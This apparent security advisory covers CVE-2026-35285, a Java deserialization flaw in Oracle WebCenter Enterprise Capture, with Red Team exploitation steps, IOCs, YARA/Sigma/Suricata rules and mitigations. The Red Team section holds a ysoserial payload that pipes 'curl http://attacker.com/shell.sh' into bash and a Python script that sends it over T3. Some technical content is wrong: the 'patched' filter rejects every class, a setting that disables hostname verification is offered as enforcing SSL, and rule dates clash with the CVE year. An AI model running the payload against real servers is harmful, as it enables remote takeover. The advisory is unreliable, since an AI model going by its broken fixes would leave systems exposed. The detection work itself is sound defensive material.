CVE-2026-35285

Executive Summary

CVE-2026-35285 is a critical deserialization vulnerability in Oracle WebCenter Enterprise Capture, affecting versions 12.2.1.4.0 and 14.1.2.0.0. The flaw resides in the Client Bundle component and is exploitable via T3 or IIOP protocols by a low-privileged attacker with network access. Successful exploitation leads to complete system takeover, with a CVSS score of 9.9 due to scope change and high impact on confidentiality, integrity, and availability. No public proof-of-concept or exploit code is currently available, and no official patch has been released. The vulnerability is classified under CWE-502 (Deserialization of Untrusted Data) and aligns with MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application).

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It affects Oracle Fusion Middleware, a proprietary enterprise software stack. Organizations should monitor Oracle’s Critical Patch Update (CPU) for a fix and consider network segmentation to limit exposure.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
• Base Score: 9.9 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L)
• User Interaction: None (UI:N)
• Scope: Changed (S:C) – impacts other products
• Confidentiality: High (C:H)
• Integrity: High (I:H)
• Availability: High (A:H)

The threat level is critical due to the low attack complexity, low privileges required, and potential for lateral movement across the network.

Deep Dive & Mechanics

The vulnerability is a deserialization flaw in the Client Bundle component of Oracle WebCenter Enterprise Capture. The component processes serialized Java objects received via T3 (WebLogic’s proprietary protocol) or IIOP (CORBA protocol). An attacker can craft a malicious serialized object that, when deserialized by the server, executes arbitrary code. The scope change indicates that the compromised component can be used to attack other systems within the Oracle Fusion Middleware environment.

The root cause is the lack of input validation on deserialized data, allowing an attacker to bypass authentication and execute commands with the privileges of the WebCenter process. This is a classic Java deserialization vulnerability, similar to those found in Apache Commons Collections or WebLogic’s T3 protocol.

Vulnerable vs. Patched Code

Since no official patch is available, the following comparison is based on typical deserialization fixes.

Vulnerable Code (Java pseudo-code):

// Vulnerable: Direct deserialization without validation
ObjectInputStream ois = new ObjectInputStream(socket.getInputStream());
Object obj = ois.readObject(); // No filtering
processObject(obj);

Patched Code (Java pseudo-code):

// Patched: Use a whitelist filter
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter("!*;java.base/*;!*");
ObjectInputStream ois = new ObjectInputStream(socket.getInputStream());
ois.setObjectInputFilter(filter);
Object obj = ois.readObject(); // Filtered
processObject(obj);

The patched version implements a filter that only allows deserialization of safe classes (e.g., from java.base), blocking malicious payloads.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Oracle WebCenter Enterprise Capture 12.2.1.4.0 or 14.1.2.0.0
• Network access to T3 (port 7001) or IIOP (port 7002)
• Low-privileged credentials (e.g., weblogic user)

Exploitation Steps:

1. Reconnaissance: Scan for open T3/IIOP ports.
2. Craft Payload: Use a tool like ysoserial to generate a malicious serialized object (e.g., CommonsCollections1).
3. Send Payload: Use a custom script to send the payload via T3 or IIOP.
4. Execute: The server deserializes the payload, granting a reverse shell.

Example Command (using ysoserial):

java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com/shell.sh | bash' > payload.bin
python3 -c "
import socket
s = socket.socket()
s.connect(('target', 7001))
# T3 handshake and payload injection
s.send(b't3 12.2.1.4.0\nAS:255\nHL:19\nMS:10000000\nPU:t3://localhost:7001\n\n')
s.send(open('payload.bin', 'rb').read())
s.close()
"

Expected Outcome: Reverse shell as the oracle user.

Blue Team

Detection Steps:

1. Monitor T3/IIOP Traffic: Look for unusual serialized objects or large payloads.
2. Check Logs: Review WebCenter logs for deserialization errors or unexpected class loading.
3. Network Segmentation: Restrict T3/IIOP access to trusted hosts only.
4. Honeypot: Deploy a decoy WebCenter instance to capture exploit attempts.

Mitigation:

• Apply Oracle CPU when available.
• Disable T3/IIOP if not required.
• Use WebLogic’s weblogic.security.SSL.ignoreHostnameVerification to enforce SSL.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Unusual T3 handshake strings (e.g., t3 12.2.1.4.0)
  • Large serialized objects on port 7001 or 7002
  • Outbound connections from WebCenter to unknown IPs

• Host IOCs:

  • Unexpected processes (e.g., bash, nc, python)
  • Files in /tmp/ with suspicious names (e.g., ysoserial*)
  • Modified WebCenter binaries or configuration files

• Log IOCs:

  • java.io.InvalidClassException or ClassNotFoundException in WebCenter logs
  • weblogic.security audit logs showing failed authentication followed by success

Detection Engineering

YARA Rule

rule CVE_2026_35285_Deserialization {
    meta:
        description = "Detects malicious serialized Java objects targeting Oracle WebCenter Enterprise Capture"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-35285"
    strings:
        $t3_handshake = "t3 12.2.1.4.0" ascii wide nocase
        $iiop_handshake = "IIOP" ascii wide nocase
        $ysoserial_class = "ysoserial" ascii wide nocase
        $commons_collections = "CommonsCollections" ascii wide nocase
    condition:
        any of ($t3_handshake, $iiop_handshake) and any of ($ysoserial_class, $commons_collections)
}

Sigma Rule

title: CVE-2026-35285 Oracle WebCenter Deserialization Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects network traffic indicative of CVE-2026-35285 exploitation via T3 or IIOP
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: zeek
detection:
    selection:
        destination_port:
            - 7001
            - 7002
        payload|contains:
            - 't3 12.2.1.4.0'
            - 'IIOP'
    condition: selection
falsepositives:
    - Legitimate WebCenter traffic
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 7001,7002 (msg:"CVE-2026-35285 Oracle WebCenter Deserialization Attempt"; flow:to_server,established; content:"t3 12.2.1.4.0"; fast_pattern; content:"|ac ed 00 05|"; within:100; reference:cve,2026-35285; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Restrict network access to T3 (port 7001) and IIOP (port 7002) to trusted IPs only.
   • Disable these protocols if not required for business operations.
   • Monitor logs for deserialization errors.

2. Long-term Fix:

   • Apply Oracle’s Critical Patch Update (CPU) when released.
   • Upgrade to a patched version of Oracle WebCenter Enterprise Capture.

3. Workarounds:

   • Use WebLogic’s weblogic.security.SSL.ignoreHostnameVerification to enforce SSL.
   • Implement a Web Application Firewall (WAF) to inspect T3/IIOP traffic.

4. Detection:

   • Deploy the provided YARA, Sigma, and Suricata rules.
   • Enable detailed logging for WebCenter and WebLogic.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert